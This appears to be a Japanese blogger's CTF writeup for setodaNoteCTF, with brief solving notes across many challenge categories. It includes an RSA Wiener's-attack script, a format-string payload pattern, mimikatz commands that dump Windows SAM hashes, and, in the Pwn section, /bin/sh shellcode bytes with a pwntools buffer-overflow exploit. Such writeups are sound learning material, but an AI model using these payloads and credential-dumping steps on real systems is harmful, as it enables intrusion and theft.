れぷすたぶろぐ

思ったことを適当に書く

setodaNoteCTF Writeup

久しぶりにCTFに参加しました。2週間あると楽しいですね。生活は壊れるけど。

1問だけ解けず、14位でした。 なぜか非全完民のなかでトップになってしまって恐縮しています(精進しろ)

解きながら書いた雑Writeupなのでたぶん参考にならないですが、自分のメモ代わりに書いておきます。 もしかしたら何か抜けてるかも。

Misc

welcome

  • ログインする
    • パスワードがわからない

morse_one

  • モールス信号
  • Dをトン、Bをツー、Sをセパレータ(?)として英語に直す

Hash

  • sha256でハッシュ化されているので、sha256sum hash/* > hoge.txtで全ファイルのハッシュを取得
  • 当てはまるハッシュをファイル内検索で探して、手動cat

F

magic_number

  • ここでいうマジックナンバーは、ファイルをバイナリとして開いたときの初めの数バイトのこと
  • hexdump -C -n 4 magic_number/hoge.fugaみたいな感じでチェックしていく

Stegano

  • GIMPで光度の反転をすると中央、左上とやや右下に文字が現れる
  • なんだかんだ気づくのに時間かかった…

morse_zero

  • テキストではZしか見えないが、hexdumpで見るとたくさんある
  • 各バイトごとに文字に置換して、出現頻度やパターンからモールス信号を考えていく
    • 最終的にはmorse_oneと同じ形になる

ransom_note

  • NPIEWI-DECRYPT.txtを見ると、GandCrabっぽい
  • No More Ransom Projectが復号ツールを配布しているので、使うだけ

Nothing

i_knew_it

  • 若干RC4っぽさを感じたのでダメもとで回答したら合ってた…
  • 他に有名な暗号アルゴリズム少なそうだしわからないでもない

Redacted

strong_password

  • pythonで頑張ろうかと思ったけど、さすがに遅い
  • ググると、john-the-ripper.zip2johnとhashcatを使ってGPUでBruteforceしていた
    • 1分かからず出た
    • hashcatでうまくパターンを書いてあげないと、変なパスワードが答えになってしまった

Network

Host

tkys_never_die

  • wiresharkで解析するも、パケットが分割されているのでつらい
  • export objectでPNGを取り出せる

echo_request

  • echo_requestに1文字ずつフラグ
    • フラグによるとATT&CKにそういうのがあるらしい

stay_in_touch

  • wiresharkでメールに添付のZipファイルを取り出してくる
  • IMFをエキスポートしたらメーラーに読み込ませられるらしいけど、なぜか重要なやつだけIMFになってなかった…
    • 頑張って問題のZipとパスワードをdumpしてbase64 -d

yes_you_can

  • 車などの通信に使われるCANが使われているっぽい
    • canplayerとICSimを使って動作しそうなことはわかった
  • ここに配置されてるならそんなに難しくないはず…と思ったので、candumpして文字チェック
    • {が含まれるのが244番のものだけっぽいので、grep 244してみる
    • flagが1文字ずつ含まれているのがわかるので、uniqコマンドで重複削除

Digdig

  • Wiresharkで見ると、全部DNS
  • 問い合わせのFQDNの先頭がHexになっていそうなので、stringsで取り出して重複消したり整形
    • とりあえずpythonで2文字ずつASCIIに変えて出力すると、なんかそれっぽい文章がちらほら
    • Flagまではエスパーが必要そうだけど、ATT&CKのT1071がDNSと関係するのを使う

Logger

  • どうやらUSBのなにからし
    • うまく補足されてない8byteがデータっぽい
    • Interruptで8byteなので、キーボードっぽい?
  • ググると、初めの02がシフトの状態、その後の数字はキーの入力のようなので、うまくデコード
    • シフトがうまくいかなかったので、後の数字だけデコードして手動で大文字に

tkys_not_enough

  • pcapなのにWiresharkで開けない
    • Windows Network Monitorで開けたので、Save asで.capに変換してWiresharkで開けるようにした
  • 前と後ろが怪しいのかと思って解析するも、特に何もなかった…前半はディレクトリ、後半はドライバ(?)、最後はWindowsのパフォーマンス?
  • プロトコルがISAKMPになっているがHTTP通信をしていそう
    • 最後2つがgzipで直接見られない形になってる
    • 頑張ってgzip形式にするも開けない…
    • このレスポンスをそのまま保存して、そのまま返すサーバを書けばフラグ

Web

Body

  • ソースを表示してflagで検索

Header

  • インスペクタのNetworkからヘッダを見るとある

puni_puni

  • punycodeなので、いい感じの変換サイトを探してくる

Mistake

  • Bodyと同じ場所にWebserver directory indexと書かれている
    • これは、indexファイルがなかったときに、そのディレクトリのファイル一覧を表示する機能
  • /web003/images/にアクセスしてみると、flagが見える

tkys_royale

  • SQLi
  • よくあるパターンのSQLiを入れる

Estimated

  • お詫びページで昨日のページを削除したと書いてあるけど、画像は消されてない
  • 他の画像のURLから推測

Mx.Flag

  • シンプルすぎてfavicon.pngぐらいしかわからない
    • curlで取ってみるとフラグあるやんけ…

Redirect

  • 問題URLを開くと、最下部でdocument.referrerGoogleかどうかをチェックしている
    • Googleで適当に検索して、aタグを無理やり問題URLに書き換えてアクセスすると、Nice try
    • いっぱいリダイレクトしてそうな動作
  • curlでリダイレクトを1つ1つ追ってみる
    • めんどくさい
  • callbackとかdataを見ているページがある
    • どうやらcallback=getFlagにするとよさそうなので、URLを書き換えてやる

OSINT

tkys_with_love

  • コールサインから飛行機かと思ったので、「飛行機 C6DF6」で検索したら船が出てきた

Dorks

  • inurlを使う

filters_op

  • from:@cas_nisc until:2017-05-16

MAC

tkys_eys_only

  • 座標が見えるので検索
  • 答えが一意じゃない気がするけど、組織名というのをヒントに

MITRE

  • MITRE ATT&CKのIDが並んでいるので、頑張って検索して頭文字を取っていく

Ropeway

  • 画像をGoogle Imageにかける

N-th_prime

  • オンライン整数列大辞典のA033844で、Linkのページに2n番目の素数が列挙されているので、56のところをコピペ

identify_the_source

  • VirusTotalみたいなサイトに片っ端からHash入れてみる
    • Hybrid Analysisで7月に分析されてる…?
    • 下にURLが書かれてるが404でNice Try
  • ならInternet Archiveとか?

secret_operation

  • とりあえずURLにアクセスしてみると自分の所在地が見えてそう
    • ロシアにすればいい?
    • プロキシがよくわからなかった(ちょっとこわい)ので、Torで出口ノードを固定してアクセス
      • torrcExitNodes {ru} StrictNodes 1を追記
  • TwitterとLinkがある
  • Twitterのいいね欄の初めに、Twitterpng画像が実はzip展開できるツイートがある
    • What you need is always there from the start.なるヒントっぽいものを元に、初めのツイートの写真をzip展開するとBasic認証の鍵
    • Linkから入ると、またロシアからアクセスするのを求められるが、ロシアからだとフラグ

Crypto

base64

rot13

  • rot13

pui_pui

  • 適当にCでchar* str = "\x41...";でprintf

tkys_secret_service

  • rot13っぽいので掛けてみると、ところどころ読めそうで読めない
  • いくつかの文字がスワップされていそうなので、地道にスワップすると読めるようになる

lets_bake

  • ]b2[Base64が分割されていそうなので、1つ目を掛けてみると、From_Base64('A-Za-z0-9+/=',true)
    • 2つ目以降がわからない…試しに初めのsを消してみるとデコードできた
  • デコードできた文を検索にかけてみると、CyberChefを使いそうなので、Recipeの通り組み立ててフラグ

vul_rsa_01

vul_rsa_02

  • クソデカeなのでWiener's Attackかな?と思って実装した
c = 227982950403746746755552239763357058548502617805036635512868420433061892121830106966643649614593055827188324989309580260616202575703840597661315505385258421941843741681
n = 314346410651148884346780415550080886403387714336281086088147022485674797846237037974025946383115524274834695323732173639559408484919557273975110018517586435379414584423
e = 66936921908603214280018123951718024245768729741801173248810116559480507532472797061229726239246069153844944427944092809221289396952390359710880636835981794334459051137

def f(a, b):
    ret = []

    q, r = a//b, a%b
    a0, a1 = 1, q
    b0, b1 = 0, 1
    while r:
        a, b = b, r
        q, r = a//b, a%b
        a0, a1 = a1, a0 + q * a1
        b0, b1 = b1, b0 + q * b1
        ret.append(b1)
    return ret

p_d = f(e, n)

for d in p_d:
    pt = pow(c, d, n)
    print(long_to_bytes(pt))

WEARECIA

  • CIAの暗号ってなんや?と思って調べたら、Kryptosというのがあるらしい
    • Kryptosの暗号の序盤が、問題文の前半と一致する
  • Kryptosの序盤はヴィジュネル暗号というやつみたいで、解説サイトを元にPythonで解読した

Rev

Helloworld

ELF

Passcode

  • 実行して適当に入れてみると、8文字っぽい
  • stringsをすると、ちょうど8文字の数字がある

Passcode2

  • 実行して適当に入れてみると、11文字っぽい
  • angrが動かなくてキレそう
  • gdbに突っ込んでみるけど、うまくブレークポイントが貼れない
    • info proc mapあたりで適当にブレークポイント貼りまくってみたら止まったので、scanfするあたりまでいい感じに進める
    • あとは普通に1文字ずつチェック

to_analyze

  • dnSpyに掛けてみる
    • コードの断片が見える…文字列をデコードしてそう
  • C#わからないので、Cで同じ動作をするコードを書く
    • 普通に実行するとOK

Forensics

paint_flag

  • unzip paint_flag.docx

Mail

Deletedfile

  • foremost deletedfile.raw

Timeline

  • WindowsのActivitiesCache.dbが渡される
  • ググるとWindowsTimeline parserが出てくるので、解析
  • 開いたテキストファイルをETagの若い方から読んでいくとFlagになっている

browser_db

  • sqliteで開くと、moz_placesテーブルに閲覧履歴があって、いい感じにフラグがある

MFT

  • MFTECmdで解析
  • ファイルサイズで絞り込んだけど、これ作成日時とかどうやって見るの…?

tkys_another_day

  • アニメーションできるAPNGなので、待っていると文字が出たり隠れたりする
  • APNGの編集ができるサイトにアップロードしたら、隠れている部分が見える

TITLE (解けず)

  • QRコードっぽいのがあるので、復元する?(できなくない?)
  • 別の人のWriteupによると、画像の高さが変えられているみたい。

CSIRT_asks_you_01

  • evtxファイルをpythonで解析するものがあったので、XMLをそのままtxtに出力
  • EventIDが2624でLogonTypeが3のものが、ネットワーク経由でログイン成功を表しているので、頑張って探す

unallocated_space

  • photorecで展開
    • photorecの使い方がわかってないだけだった…
  • 展開できたけどUbuntuでmp4見れなくてSlackに投げる謎行動をした

CSIRT_asks_you_02

  • $ samdump2 SYSTEM SAMで得たハッシュのうち、前者がLMハッシュ、後者がNTLMハッシュ
  • パスワードが空白らしい???
    • Windows10のAnniversary Updateからこういう感じになってる?
    • つまり古い解析ソフトだと無理っぽい
    • ここで無限泥沼編になった
  • mimikatzがいいらしい?
    • Nortonがしきりに消そうとしてくるので停止させて実行
    • (mimikatz)# lsadump::sam /system:SYSTEM /sam:SAM
    • ハッシュ出た
  • あとはjohn the ripperに掛けてみる
    • 実はhashcatとかを試してまた泥沼にはまりかけた

Programing

ZZZIPPP

  • Pythonで1つずつ解凍していった

echo_me

  • 100回数字を返すプログラムをPythonで書いた
  • なんだかんだ終わってから文字列受け取るのがつらかった

EZZZIPPP

  • パスワードがついただけ
  • 時間がかかる…

deep_thought

  • echo_meをevalにするだけ
  • 改行忘れてなにも起こらん…になってた

Pwn

tkys_let_die

  • 長入力でスタックを壊す
  • 適当にabcdefgとか入力して、どこがgateに当たるかを探すのが速そう

1989

  • CWE-143はフォーマット文字列攻撃
    • 要はprintf("%s", hoge)printf(hoge)としてしまったので、%sとか書かれると困るぞって話
  • (攻撃アドレスリトルエンディアン)%08x.%08x.%08x.%sでできる
    • また改行忘れて何も帰ってこなくて泣いた

Shellcode

  • バッファの先頭アドレスが表示されるので、シェルコード+(文字埋め)+先頭アドレスの形を送ってシェルを立ち上げたい
    • Python3のバイナリの使い方がわからんのよ(CV: ノブ)
    • Python3がつらかったのは省略
  • 適当に文字を8の倍数分いれていくと、80文字を超えるとセグフォしてそう
  • シェルコード+埋め分をprintf '\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' > shellcodeで作成
  • Python3ではアドレスを4回(念のため)送りつけるところだけ
from pwn import *

io = process('./shellcode')
# io = remote('10.1.1.10', 13050)

print(io.recvuntil('[0x'))
p = io.recvuntil(']')[:-1]
print(p)
print(io.recvuntil('> '))

addr = p64(int(p.decode('utf-8'), 16))

with open('shellcode', 'rb') as f:
  io.send(f.readline())

for i in range(4):
  io.send(addr)
io.send('\n')

io.interactive()